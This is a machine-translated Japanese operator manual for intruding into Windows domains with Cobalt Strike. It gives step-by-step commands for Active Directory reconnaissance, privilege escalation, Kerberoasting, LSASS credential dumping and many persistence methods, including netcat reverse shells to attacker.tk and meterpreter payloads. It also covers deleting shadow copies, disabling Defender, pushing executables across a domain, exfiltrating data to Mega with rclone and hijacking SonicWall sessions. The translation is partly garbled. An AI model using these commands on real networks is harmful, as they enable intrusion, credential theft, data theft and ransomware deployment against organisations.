手動コバルトストライク

-----------------------------------------------------標準コマンド---------------------------------------------------!

負荷生成

Attacks -> Packages->

対話 - エージェントの選択

help ->はコマンドのリストを表示します

help [command]は、特定のコマンドのヘルプを表示します

-----------------------------------------------------AD情報収集--------------------------------------------------!

---ドメイン コントローラの取得---!

net domain\_controllers

net dclistの

shell nltest /dclist

---コンピューターの一覧を取得します---!

shell net group "Domain Computers" /domain

net computers

net view

Get-ADComputer -Filter {enabled -eq $true} -properties \*|select Name, DNSHostName, OperatingSystem !--Test--!

---サブドメインのリストを取得します---!

net domain\_trusts

shell nltest /DOMAIN\_TRUSTS

---グループとユーザーの一覧を取得します---!

- ドメイン管理者のリスト ;ドイツ人向け - シェルネットグループ "Domänen-Admins" /domain

shell net group "domain Admins" /domain

shell net group "Enterprise Admins" /domain

- ドメインユーザーのリスト

shell net group "domain users" /domain

net group

net localgroup

net user

！---かつ---！

- PC が属するドメインを表示します

net domain|systeminfo | findstr /B "Domain"

- PC上のアクティブなセッションを表示します

net sessions

- PCの時刻を表示します

net time

- PCにログインしているユーザーのリストを表示します

net logons

---ShareFinderの入手---!

- PCで共有のリストを表示します

net share

使用可能な共有を収集し、ドメイン内の現在のユーザーが使用できる共有$ADMINがあるかどうかを確認します。

- powershell-import /opt/PowerSploit-dev/Recon/PowerView.ps1

- powershell Invoke-ShareFinder -CheckShareAccess -詳細

アナログ:

- powershell-import /opt/PowerSploit-dev/Recon/ShareFinder.ps1 を実行します

- psinject 4728 x86 Invoke-ShareFinder -CheckShareAccess -詳細 |出力ファイル -エンコーディング ascii C:\ProgramData\found\_shares.txt

(スキャンが開始され、その結果がファイルに記録された時点で、スキャンが終了してダウンロードできるようになったとき、ファイル全体がサイズになります)

また、psコマンドを使用してプロセスを確認することを忘れないでください、そこでユーザーを見つけ、そのプロセスに移行し>>プロセスリストを探索し、別のユーザーのプロセスを選択する>。

新しいユーザーに移行した後、ボールを削除して、彼とブレイクできる場所を確認する必要もあります

ボールを削除すると、C:\ ProgramDataディレクトリでの引き出しの最後にsh.txtまたはshares.txtがあり、ダウンロードして、教科書に「リモート管理」がいくつあるかを確認し、複数ある場合は、別のコンピューターにアクセスできることを意味します

---追加ツール---!

-AdFind.exeを使用してActive Directoryの構成に関する情報を収集します-!

- Adfind、.exe、およびadf.batを書き込み可能なフォルダにアップロードします

- このフォルダ内のCobalt Strikeビーコンに移動します

- シェル adf.bat を実行する

- スクリプトが終了するのを待っています

- 結果をポンプで送り出し、マシンにロードされたものを削除します

adf.bat の内容:

adfind.exe -f "(objectcategory=person)" > ad\_users.txt

adfind.exe -f "objectcategory=computer" > ad\_computers.txt

adfind.exe -f "(objectcategory=organizationalUnit)" > ad\_ous.txt

adfind.exe -sc trustdmp > trustdmp.txt

adfind.exe -subnets -f (objectCategory=subnet)> subnets.txt

adfind.exe -f "(objectcategory=group)" > ad\_group.txt

adfind.exe -gcb -sc trustdmp > trustdmp.txt

-シートベルトで現車の情報を集めよう-!

- アセンブリの実行/opt/cobalt\_strike\_extension\_kit/exe/シートベルト.exe -group=all -outputfile="C:\ProgramData\textinfo.txt"

(ここでは説明しませんが、チェックの数はまともであり、収集されたすべての情報はローカルマシンとネットワークの両方で多かれ少なかれ重要です)

---------------------------------------------特権昇格の手法-----------------------------------------------!

---エクスプロイトの使用---!

shell systeminfo - システムに関する情報を取得します。

受信した 情報は、テキストファイル(win10-systeminfo.txt)に書き込む必要があります

Windows-Exploit-Suggester を使用すると、使用するエクスプロイトがおおよそ表示されます。

---エクスプロイトデータベースの更新---!

/windows-exploit-suggester.py --update

[\*] 開始中...

[\*] 正常に要求されたベース URL

[\*]スクレイピングされたMSダウンロードURL

[+] ファイルへの書き込み 2021-03-09-mssb.xls

[\*]完了

---エクスプロイトを検出するプログラムの実行---!

./windows-exploit-suggester.py --database 2021-03-09-mssb.xls --systeminfo win10-systeminfoです.txt

次に、Windows-Exploit-Suggesterが提供するエクスプロイトのリストに従って、マシンに適用します。(ただし、最初に、使用したいエクスプロイトについて読むことをお勧めします、それはあなたの目的に合わないかもしれません、OSのバージョンとその動作に特別な注意を払ってください。たとえば、グループのメンバーになりたい場合、

次に例を示します。

オプション1:

elevate ms16-135 [listener] - このコマンドはエクスプロイト ms16-135 を使用し、成功すると SYSTEM の下から新しいセッションを呼び出します。

オプション2:

たとえば、このディレクトリ C:\Users\User1\Pictures に移動しましょう (ロードできる限り、他のディレクトリに移動できます)

ロードアーティファクトをアップロードする.exe|dll|ワンライナー

runasadmin ms16-032 (ディレクトリを指定)artifact.exe [必要に応じてオプション]コマンドは、エクスプロイトms16-032を使用して、SYSTEMの下からロードを実行します。この場合、SYSTEMの下から新しいエージェントを受け取ります。

---シャープアップ---!

SharpUp は、特権昇格のための設定ミス スキャナーです。

スキャニング：

- アセンブリの実行/opt/cobalt\_strike\_extension\_kit/exe/SharpUp にあります.exe

結論の例(多分あなたは何も見つけられないでしょう):

=== SharpUp: 特権エスカレーション チェックの実行 ===

===編集可能なサービス===

名前 :VMツール

表示名 :ヴイエムウェア 道具

説明 :P rovides ホストと Qwest オペレーションシステム間でのオブジェクトの同期のサポート。

状態 ：停止

スタートモード ：自動

パス :C:\プログラム ファイル\VMware\VMware Tools\vmtoolsd

=== 編集可能なバイナリサービス ===

=== AlwaysInstallElevated レジストリ キー ===

=== %PATH%内の変更可能なフォルダ ===

===変更可能なレジストリの自動実行===

=== \*特別\* ユーザー権限 ===

===無人インストールファイル===

=== マカフィー サイトリスト.xml ファイル ===

=== キャッシュされた GPP パスワード ===

ユーザーがロードを開始するためにVMtoolsサービスを変更できることがわかります。

[攻撃] に移動します --> WindowsExecutable (S) --> [リスナー] を選択し、Windows サービス EXE を出力します --> 生成 -->ファイル名:vmtoolsd.exe --> 保存

次に、任意のディレクトリ(C:\ Users \ User1 \ Picturesなど)に移動して、ロードをロードします。

次に 、サービスを変更しましょう。

sc config vmtoolsd binpath=C:\Users\User1\Pictures\vmtoolsd.exe を実行します。

起動 VMToolsd.exe を実行します。

その後 、SYSTEMのエージェントが到着します。

------------------------------------------ハッシュとパスワードの取得------------------------------------------------!

(権限なしでも実行可能)

----kerberoast 攻撃 - メモリ下からハッシュを取得します---!

kerberoast 攻撃を実行します。

- アセンブリの実行/opt/cobalt\_strike\_extension\_kit/exe/Rubeus.exe kerberoast /ldapfilter:'admincount=1' /format:hashcat /outfile:C:\ProgramData\hashes.txt

- アセンブリの実行/opt/cobalt\_strike\_extension\_kit/exe/Rubeus.exe asreproast /format:hashcat /outfile:C:\ProgramData\asrephashes.txt

- 結果のファイルをダウンロードします (結果が生成された場合)

- そうでない場合は、別の PowerShell スクリプトを使用して攻撃を実行します。

- powershell-import /opt/PowerSploit-dev\Recon\PowerView.ps1

アナログ：

- powershell-import /opt/PowerSploit-dev\Recon\Invoke-Kerberoast.ps1 を実行します。

- psinject 4728 x86 Invoke-Kerberoast -OutputFormat HashCat |フロリダ州 |出力ファイル -ファイルパス c:\ProgramData\pshashes.txt -append -force -エンコード UTF8

この場合の 4728 は現在の PID で、x86 はそのビット幅です

(受信したハッシュはブルートに送信され、パスワードの平文を取得するか、SYSTEM権限のコンテキストで使用されます)

Chrome ブラウザからの情報の収集

- アセンブリの実行/opt/cobalt\_strike\_extension\_kit/exe/SharpChrome.exe logins /showall

(ここでは、現在のユーザーのパスワードのセットと、彼が行くネットワークと外部リソースのアイデアを取得します)

ドメインのグループ ポリシー ファイルに保存されているパスワードを確認する

- アセンブリの実行/opt/cobalt\_strike\_extension\_kit/exe/Net-GPPPassword.exe

アナログ：

- powershell-import /opt/PowerSploit-dev/Exfiltration/Get-GPPPassword.ps1

(特権権限のみ\*)

PRIVILEGED権限がある場合は、「hashdump」および「logonpasswords」コマンドを使用してハッシュとパスワードを取得できます。 これはパスワードをすばやく取得する方法ですが、機能しない場合があります。 たとえば、AVが邪魔になります。

次のことを行うことをお勧めします。

- psを作成し、LSASS.exeプロセスを見つけます(パスワードを保存します)。

- ダンプにします。

ビーコンに行きましょう。

- CDのWindows

- シェルrundll32.exe C:\ Windows \ System32 \ comsvcs.dll、 ミニダンプ PID C:\Users\User1\lsass.dmp がいっぱいです

-で PID パラメータは、LSASS.exe の PID 番号を指定します。

- 書き込みが許可されている任意のディレクトリ (C:\Users\User1\lsass.dmp など) を使用できます。

アナログ:

- アセンブリの実行 /opt/cobalt\_strike\_extension\_kit/exe/SharpDump にあります.exe

ダンプを作成したら、ダウンロードします。

ダウンロードしたら、マシンでmimikatzを開き、次のコマンドを実行します。(lsass.dmpはmimikatzでフォルダに入れます)

セクルサ::ミニダンプ LSASS.dmp

sekurlsa::logonPasswordsのsekurlsa::logonPasswords

！------------------------------------------------------固執-----------------------------------------------------！

(権限なしでも実行可能)

explorers.batを作成し、次のコードを追加します(括弧はコピーしないでください)。

}

@echoオフ

セット フルネーム=C:\Temp\explorers.exe

prog=explorers.exe を設定します。

：始める

tasklist /fi "IMAGENAME eq %prog%"|>nul find "%prog%"||"" "%fullname%" を開始します。

>ping 127.1 -n 6 を描画します。

goto :開始

}

次に、explorers.exe load と explorers.bat batnik を、ファイルを書き込むことができる任意のディレクトリ (例: "C:\Users\User1\Pictires") にロードします。

次に、CSを開き、ビーコンを開いて、ファイルをアップロードしたフォルダーに移動します

コマンドを実行します (ファイルが非表示になります)。

シェル属性 +h [explorers.exe]

シェル属性 +h [探検家.bat]

次に、 レジストリにキーを追加します。

shell reg add "HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v explorers /t REG\_SZ /d "C:\Temp\explorers.exe"

shell reg add "HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v explorers /t REG\_SZ /d "C:\Temp\explorers.bat"

検証:

シェル登録クエリ "HKEY\_CURRENT\_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run" / s

------------------------------------------------------------------------------------------------------------------------------------

PowerShell ステージャーを使用できますが、通常のユーザーとして実行すると、cmd ウィンドウが表示され、デスクトップにすぐに閉じます

{

@echoオフ

フルネーム=PowerShell.exe を設定します

set paramtr= powershell -nop -w hidden -encodedcommand...(ваш stager)

prog=powershell.exe を設定します

：始める

tasklist /fi "IMAGENAME eq %prog%"|>nul find "%prog%"||開始 "" "%fullname%" "" "%paramtr%"

>ヌルping 127.1 -n 6

goto :開始

}

次に、 レジストリにキーを追加します。

reg add "HKEY\_CURRENT\_USER\ Software \ Microsoft \ Windows \ CurrentVersion \ Run" / v explorers / t REG\_SZ / d "C:\ Temp \ explorers .bat"

検証:

regクエリ "HKEY\_CURRENT\_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run" / s

レジストリのキーをこのディレクトリに書き込むこともできます reg add HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ただし、このディレクトリにキーを作成するには、PRIVILEGED RIGHTS\* が必要です。

---インメモリ---!

RAMにハングするバックドアを注入することは、痕跡を残さずにターゲットマシンに足場を築きたい場合に理にかなっています。 アンチウイルスは通常、多くの追加のリソース消費を伴うため、メモリアクティビティをほとんど制御できません。 経験豊富なユーザーでさえ、法的手続きの中に隠されていることに気付く可能性は低いです。

インメモリバックドアとして、meterpreterを使用します。 これはおそらく、ディスクに触れることなくメモリ内で排他的に実行できる最もよく知られたRATです。

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=1.2.3.4 LPORT=8888 -f raw -o meter32.bin exitfunc=thread StagerRetryCount=999999

cmd$> inject\_windows.exe PIDメーター32.bin

最大限のステルス性を実現するには、再起動後の永続性の損失を伴います。

悪意のあるスレッドはライブラリの外部で開始されるため、Procexp はそのようなスレッドを null アドレスから開始しているかのように表示することがよくあります。

オフィス

この 方法は、攻撃されたユーザーがオフィススイートで頻繁に作業する場合に適しています。 それほど珍しいことではありません!

reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG\_SZ /d C:\users\username\meter.dll

長所:再起動後も存続し、すべてのユーザーが使用できます。

デメリット:起動間隔が管理できない。

(特権権限のみ\*)

---タスク スケジューラによるピン留め---!

タスクスケジューラのピン留めは、既製のxmlをインポートすることによって行われます。

1)既製のPythonスクリプトを実行し、xmlを生成します。

この スクリプトでは、いくつかのパラメーターを入力する必要があります。

- 始める programmは、このタスクを実行するものです、PowerShell.exe |アーティファクト.exe |ランdll32.exe

- stager PowerShell またはその他のパラメーター - 起動時にプログラムに渡されるパラメーター (PowerShell.exe の場合) は、PowerShell ステージャー、アーティファクト.dll [オプション] です。

- 日付登録タスク - タスクの登録日は、偽装したい他のタスクについて確認できます。

- 日付、終了タスク - タスク終了日

- 一日の時間繰り返しタスク - タスクが繰り返される時間、「PT3M」 - 3分ごと。"PT1P" - 毎時。プログラムが実行中の場合、タスクは新しいプログラムセッションを開始しません。

- name\_xmlはxmlの名前で、Adobe Update、WindowsDefenderなどの名前を使用します。

その後、必要なxmlが生成されます。 次に、足場を固めたいクライアントのPCにダウンロードします。

その後 、xmlをアップロードしたディレクトリに移動し、beaconにコマンドを入力します。

シェルschtasks /Create /RUシステム/XML Security\_Update.xml /TN WinDefenderの

その後、xmlを削除すると、もう必要ありません。

RM Security\_Update.xml

！---サービス---！

Service Managerは必要に応じてサービスを再起動するため、ピン留めにはサービスを使用します。

シェルscは永続性を作成します binPath = "nc.exe -e \ windows \ system32 \ cmd.exe attacker.tk 8888" start = auto

シェル SC 障害持続性リセット = 0 アクション = 再起動/60000/再起動/60000/再起動/60000

シェル SC 開始の永続性

長所:再起動後も存続し、起動間隔を管理しやすく、どのユーザーでも問題ありません。

デメリット:管理者権限が必要です。

---コンフィグ---!

OS構成を変更して永続性を整理することは、ウイルス対策から身を隠すための優れた方法です。 これは、実行可能コードをまったく使用しない唯一のケースです。 ただし、これはターゲットマシンに直接アクセスできる場合にのみ適用されます。

リモートアクセスを取得できる非表示のユーザーを作成することは、おそらくこのような攻撃の最もよく知られた亜種です。

net user attacker p@ssw0rd /add (ネットユーザーの攻撃者 /追加)

net localgroup administrators /add attacker (ネット ローカル グループ管理者 /攻撃者を追加)

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG\_DWORD /d 0 /f

RDPを介したWindowsでのブックマークのシンプルで効率的な実装:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg\_sz /d "\windows\system32\cmd.exe"

reg add "HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG\_DWORD /d 0x0 /f

長所:ウイルス対策で検出するのが難しく、再起動します。

短所: 管理者/root権限が必要であり、マシンがNATまたはファイアウォールの背後にある場合は適していません。

---デバッガ---！

攻撃者は、攻撃されたユーザーが電卓などのプログラムを頻繁に実行していることを知っている場合、ジョイナーを使用してそのプログラムの本体にコードを挿入できます。 ただし、実行可能ファイルへの干渉は、アンチウイルス側の実行可能ファイルに対する不信感のレベルを容赦なく高めます。 もっとエレガントな実行は、起動をインターセプトすることです。

計算をコピーします.exe \_calc.exe

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg\_sz /d "cmd /C \_calc.exe & c:\windows\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888" /f

被害者が電卓を起動して閉じるとすぐに、攻撃者は逆シェルを想定します。

さらに、再起動中です。

デメリット:管理者権限が必要です。

---Gフラグ---!

これとほぼ同じ方法で、ユーザーが特定のプログラムを閉じたときにコードが実行されるように調整できます。

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options \ notepad.exe" /v GlobalFlag /t REG\_DWORD /d 512

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG\_DWORD /d 1

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc -e \windows\system32\cmd.exe attacker.tk 8888"

さらに、再起動中です。

デメリット:管理者権限が必要です。

Autoruns ではこのメソッドは検出されませんが、レジストリ ブランチを確認できます。

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit

---WMI---!

自動起動を実行するかなり信頼性の高い方法は、WMI イベントを使用することです。 定期的にバックドアを起動できます。

wmic /NAMESPACE:"\\root\subscription" PATH \_\_EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT \* FROM \_\_InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32\_PerfFormattedData\_PerfOS\_System'"

wmic /名前空間:"\\root\subscription" パス コマンド ライン イベント コンシューマ CREATE Name="永続性", 実行可能パス="C:\users\admin\meter.exe",コマンドライン テンプレート="C:\users\admin\meter.exe"

wmic /NAMESPACE:"\\root\subscription" PATH \_\_FilterToConsumerBinding CREATE Filter="\_\_EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

長所:再起動後も存続し、管理可能な起動間隔。

デメリット:管理者権限が必要です。

---AppInit---!

Windows には、AppInitを使用してウィンドウアプリケーションにライブラリを埋め込む興味深い方法があります(user32.dllを使用する必要があります)。

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit\_DLLs /t reg\_dword /d 0x1 /f

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit\_DLLs /t reg\_sz /d "c:\path\to\meter64.dll" /f

reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit\_DLLs /t reg\_dword /d 0x1 /f

reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit\_DLLs /t reg\_sz /d "c:\path\to\meter32.dll" /f

さらに、再起動中です。

短所: 管理者権限が必要で、管理されていない起動間隔が必要です。

---LSASS---!

別の オプションは、lsassシステムプロセスでライブラリを書き込むことです。 このプロセスは、mimikatzユーティリティで取得したアカウントそのものを保存するため、これは非常に有益な場所です。

reg add "HKLM\system\currentcontrolset\control\lsa" /v "通知パッケージ" /t reg\_multi\_sz /d "rassfm\0scecli\0meter" /f

さらに、再起動中です。

短所:管理者権限が必要で、起動間隔が管理できず、システムが強制終了される可能性があります。

---Winlogon---!

ユーザーの 1 人がシステムにログインするたびにシェルが開かれるようにするには、Winlogon メカニズムを使用できます。

reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg\_sz /d "c:\windows\system32\userinit.exe,c:\windows\meter.exe"

さらに、再起動中です。

デメリット:起動間隔が管理できない。

---ネッシュ---!

Netsh ネットワーク構成ユーティリティでは、任意のライブラリを読み込むこともできます。 これにより、それを介して即席のスタートアップを整理する可能性が開かれます。 Windowsシステムコンポーネントが最初に呼び出されるため、結果は無害に見えます。

cmd#> c:\windows\syswow64\netsh.exe

netsh>ヘルパーC:\ Windows \ meter32を追加します.dll

cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG\_SZ /d "C:\Windows\SysWOW64\netsh.exe"

その結果 、autorun → netsh.exe → meter.dll というチェーンが得られます。

同時に、meter.dllはユーザーの目から隠されます - 彼はWindowsのネイティブコンポーネントである正規のNetshの起動のみを見るでしょう。

長所:再起動後も存続し、ユーザーが検出するのが困難です。

デメリット:管理者権限が必要です。

----------------------------------------------------ラテラルムーブメント---------------------------------------------------!

被害者のPCでユーザーのユーザー名とパスワードを取得できた場合は、spawnas Domain \ Admin Password [リスナー]を作成し、新しいエージェントが来て、このユーザーでプロセスが開始されます。

管理者またはユーザーのログイン/パスワードドメインが見つかった場合、彼のトークンを取得でき、コマンドは次のようになります

- make\_token Domain\Admin パス

トークンを引き出したい場合は、次のコマンドを実行します。

- rev2self (英語)

Cobalt Strike-->Visualization-->Target Tableメニューに移動するか、ターゲットアイコンをクリックします。

これは 、あなたがそれを成し遂げた後にあなたの目標が見つかるところです(net dclist、net domain\_controllers、net computers、portscan)

ジャンプ先の PC を右クリックします -- >ジャンプ:

PSExexec

PSEXEC64 さん

PSEXECPSHの

sshの

sshキー

winrの

winrm64 さん

エージェントにシステム・プロセスがある場合は、getsystem コマンドを使用してシステム特権を昇格できます。

ユーザー名とハッシュが見つかり、ハッシュを復号化できなかった場合は、次のコマンドを作成します pth Domain\Admin hash [command]

(特権権限が必要) 次のコマンドを使用します。

- 貝 ディレクトリ \\IP

- ホスト名\c$

サーバーまたは通常のPCへのアクセスを確認します。

アクセス権がある場合は、ファイルブラウザ>セッションをクリックし>パス\\ipまたはアクセス権のあるコンピュータの名前を\c$に書き込み、そこにロードをロードします

シェルwmic / node:[ip]プロセスコール作成 "rundll32.exe C:\ Temp \ artifact.dll StartW"

シェルwmic / node:[ip]プロセスコール作成 "C:\ Temp \ artifact.exe"

！--------------------------------------------------攻撃-------------------------------------------------------------！

！--。。.BAT--！

すべて は常にアドミニストレータから実行されます。

UAC - 管理者から実行の許可を要求するウィンドウのポップアップを削除します

defoff - ディフェンダーを殺す(すべてで機能するわけではなく、後でtaskmgrでMspengプロセスの存在を確認してください)

RDP - ポート 3389 を発生させる

del - シャドウコピーを削除(削除の許可を求め、-yを押す)

NS - 隠しシステムディスクのマウント(パス:98)!!AB解体後の使用

NLA+BACK - NLA+パスワードレスログインバックドアを修正し、次のように機能します。

ログインウィンドウ(クレジットの入力を求められる場所)で-Win + Yを押すと、cmdウィンドウがポップアップします

書くtaskmgr、ユーザーのタブを開き、任意のユーザーを右クリックします - 接続

PSは - 10 \では動作しませんパスが必要です

ドメイン全体でファイルをコピーするためのバッチの収集

start PsExec.exe /accepteula @C:\share$\comps1.txt -u DOMAIN\ADMINISTRATOR -p PASSWORD cmd /c COPY "\\PRIMARY ДОМЕН КОНТРОЛЛЕР\share$\fx166.exe" "C:\windows\temp\"

"コピー.BAT"として保存

バッチシートを収集して、ドメイン全体でファイルを実行する

start PsExec.exe -d @C:\share$\comps1.txt -u DOMAIN\ADMINISTRATOR -p PASSWORD cmd /c c:\windows\temp\fx166.exe

"EXE.BAT" として保存

ドメイン全体でファイルをコピーして実行するための WMI バッチの収集

wmic /node:@C:\share$\comps1.txt /user:"DOMAIN\Administrator" /password:"PASSWORD" プロセス呼び出しを開始します create "cmd.exe /c bitsadmin /transfer fx166 \\ДОМЕН КОНТРОЛЛЕР\share$\fx166.exe %APPDATA%\fx166.exe&%APPDATA%\fx166.exe"

--------------------------------------------------------RDP------------------------------------------------------------!

ロケールで本当にRDPが必要な場合 :: 火傷を負わない方法 ::

1.サーバーOSを選択し、pingを実行して検索します。ディラのリストを作る

'ls \\REMOTE-HOSTNAME\C$\Users'

変更済みで並べ替えます。 新鮮なタッチがある場合、次の状況が簡単に発生するため、これらの利点の下には絶対に行くことができません-あなたがボールを振ったり、何かをテストしたりしているときに、突然このユーザーがこのPCに来て、あなたの作業結果を見ます...検出。チスtka。 ゲーム終了。

これを行うには、たとえば、昨年このサーバーにアクセスしたユーザーを選択します。

メカニズムは明確だと思いますか?

2. DAでハングアップしているがほとんど使用されていないDAからの選択を使用する

シェルネットグループ「Domain Admins」/domain

これは 私たちのYESのリストです

次に、ユーザーの利益のために、順番に情報を削除します

'shell net user Administrator /domain' (シェル ネット ユーザー 管理者 /ドメイン)

[Last Logon] 文字列 (つまり、ネットワークに最後にログインした日時) を探します (グリッド内の任意の PC で)

一昨日、半年、またはあなたのような日付があれば、それは素晴らしいことです。 それこそが、私たちが必要としているものです。 ほとんどの場合、これはサービスアカウントまたは管理者のいずれかであり、RDPであなたに干渉することはありません。

このような 簡単なトリックは、RDPで愚かに燃え上がらないようにするのに役立ちます

3.完了したら、RDPに座らないでください-ログオフ(必須)を実行します。単にRDPウィンドウを閉じることと混同しないでください。

---------------------------------------------補足資料-------------------------------------------------------!

---RCLONEマニュアル--!

1. OFからrcloneをダウンロードし、rclone.confファイルを作成して、exeと同じフォルダに配置します

2.次に、管理者からCMDを開き、構成ファイルを含むプログラムが配置されているフォルダーに移動して、コマンドrcloneconfigを実行します。

3.次に、構成を作成するメニューがポップアップ表示され(大まかに言えば、Megaのログインとパスワードを入力)、信条が入力された後、プログラムはそれらを暗号化された形式でrclone.confファイルに書き込みます。

4.受信したrclone.confファイルとプログラム自体を取り、情報を取得するホストに配置します。

5.設定とプログラムを配置したフォルダのCSビーコンに移動し、コマンドを実行します。

シェル rclone.exe コピー "\\trucamtldc01\E$\Data" リモート:データ -q --無視-既存 --自動確認 --マルチスレッドストリーム 12 --転送 12

remote:Data - そのだけを変更します。

「リモート」はあなたのメガの名前です。

「NT」は、ダウンロードされるmeg内のディレクトリであり、そこにない場合は、それ自体を作成します。

さて、ここで明らかなのは、引用符で囲まれているのはポンピングするものであり、ディスク全体であっても、必要なものを何でも指定できるということです

remote - ステップ 3 の実行時に指定した設定の名前、data - 情報がアップロードされる MEG 内のフォルダー

---ソニックウォール---!

ブラウザセッションを介してSonicWallを操作する必要がある人向け

WEBブラウザを使用してアクセスする

- スクリプト出力からセッションを取得します(例:「47ZjFKx24Nj2h0UtZKX2OYnZLgRg05aX2SuaotVzrQg=」)。

- シークレットモードでブラウザを開き、開発者コンソール(js-console)を開きます。

- セッション ID を base64 でエンコードする

>> btoa ("47ZjFKx24Nj2h0UtZKX2OYnZLgRg05aX2SuaotVzrQg=") [ENTER]

"NDdaakZLeDI0TmoyaDBVdFpLWDJPWW5aTGdSZzA1YVgyU3Vhb3RWenJRZz0="

- URLに https://target を入力します(https://target/cgi-bin/welcome にリダイレクトします)

- コンソールのapplication/cookiesに移動し、Cookieを追加します

スワップ : NDdaakZLeDI0TmoyaDBVdFpLWDJPWW5aTGdSZzA1YVgyU3Vhb3RWenJRZz0=

- ブラウザー (.../cgi-bin/welcome) で URL を編集して https://target/cgi-bin/portal

- ユーザーのセッションでリソースにアクセスする

---Citrixのインストールと構成---!

----------------------------------

Windows 7 または Windows 10

InternetExplorer 11 または Google Chrome。

braruzerna nastraivaem Citrix Workspaceの設立後

勝利7:https://www.citrix.com/en-gb/downloads/workspace-app/legacy-workspace-app-for-windows-ltsr/workspace-app-for-windows-1912-ltsr-cu2.html

10勝: https://www.citrix.com/en-gb/downloads/workspace-app/windows/workspace-app-for-windows-latest.htmlhttps://www.citrix.com/en-gb/downloads/workspace-app/windows/workspace-app-for-windows-latest.htmla 勝10:

https://www.citrix.com/en-gb/downloads/workspace-app/windows/workspace-app-for-windows-latest.html

Ustanavlivaem citrix

Dalee v brauzere vhodim v web-interface citrixa, vvodim login-pass potom zapuskaem deesktop (otkroetsya libo v browsere ili v citrixAPP)

デスクトップエントランス事業 - CSのpodtyagivaemエージェント

！------------------------------------------------------問----------------------------------------------------------！

14)特定の役割を見つけた場合は、それをsmb\_loginに実行することもできます-これはメタスプロイトのツールであり、メタスプロイトを発行して使用方法を説明します。smb\_login、これらの信条でアクセスできるサーバーまたはヴォークが表示されます

ネットワークから収集したBPをソートする方法

1)FileZillaをダウンロードする

2)パテをダウンロードし、パテをトーラスに通します

Идем сюда https://www.torproject.org/download/tor/

Quality ATTENTION エキスパートバンドル

解凍し、Torディレクトリに移動してtor.exeを実行します

数秒で、書き込みに到達します 100%完了

パテ設定で、プロキシに移動し、sox5、IP 127.0.0.1ポート9050をインストールします

3)filezillaを介してサーバーに移動し> "Script"ディレクトリに移動します-スクリプトの隣にADファイルを置きます

4)Puttyに移動し、サーバーに移動し、スクリプトが配置されているディレクトリに移動し、コマンドを指定します

./script.sh

5)完了したら、FilleZillaに戻り、ソートされたものをピックアップします。その後、ADファイルとソートされたフォルダを必ず削除し、ソートされたフォルダが削除されない場合は、任意の名前に変更してください

USERHUNTERによるマニュアル その助けを借りて、私たちはこれらの車を見つけます。 また、ゴールデンチケットを得るために、そこからSIDを取得するad\_users必要ですが、それについては後で詳しく説明します

.ターゲットのリスト作成

1.1 ad\_usersを開き、私たちにとって潜在的に興味深い人を検索してください:管理者/エンジニア/情報技術者/IT

sAMAccountName からアカウント ログインを取得する

1.2 ドメイン管理者のリストを取得する

1.3 1番目と2番目をリスト.txtファイルに入れる

2. Aploadim Power View。

2.1 powershell-import \_/home/user/soft/powerview/view.ps1\_

2.1 --Comment: /home/user/soft/powerview/view.ps1 から Power View をインポートします。

2.3 ハッキング

2.3.1

psinject 1884 x64 Invoke-UserHunter -Threads 20 -UserFile C:\ProgramData\list.txt >> C:\ProgramData\out.txt

1884年の代わりに、注入を行う権利があるPIDプロセス。

x64 - またはプロセスの x86 ビット幅。 タスクリストを参照

s\programdata\list.thtには、ポイントNo.1で作成したリストがあるはずです。

5-10-20 分後、out.tht の rezalt を確認します。 食べ終わるとすぐに補充します。 つまり、ファイルが0bytesの場合、動作するか、ABが書き込まれます(ABが焼かれた場合は、神戸に表示されます)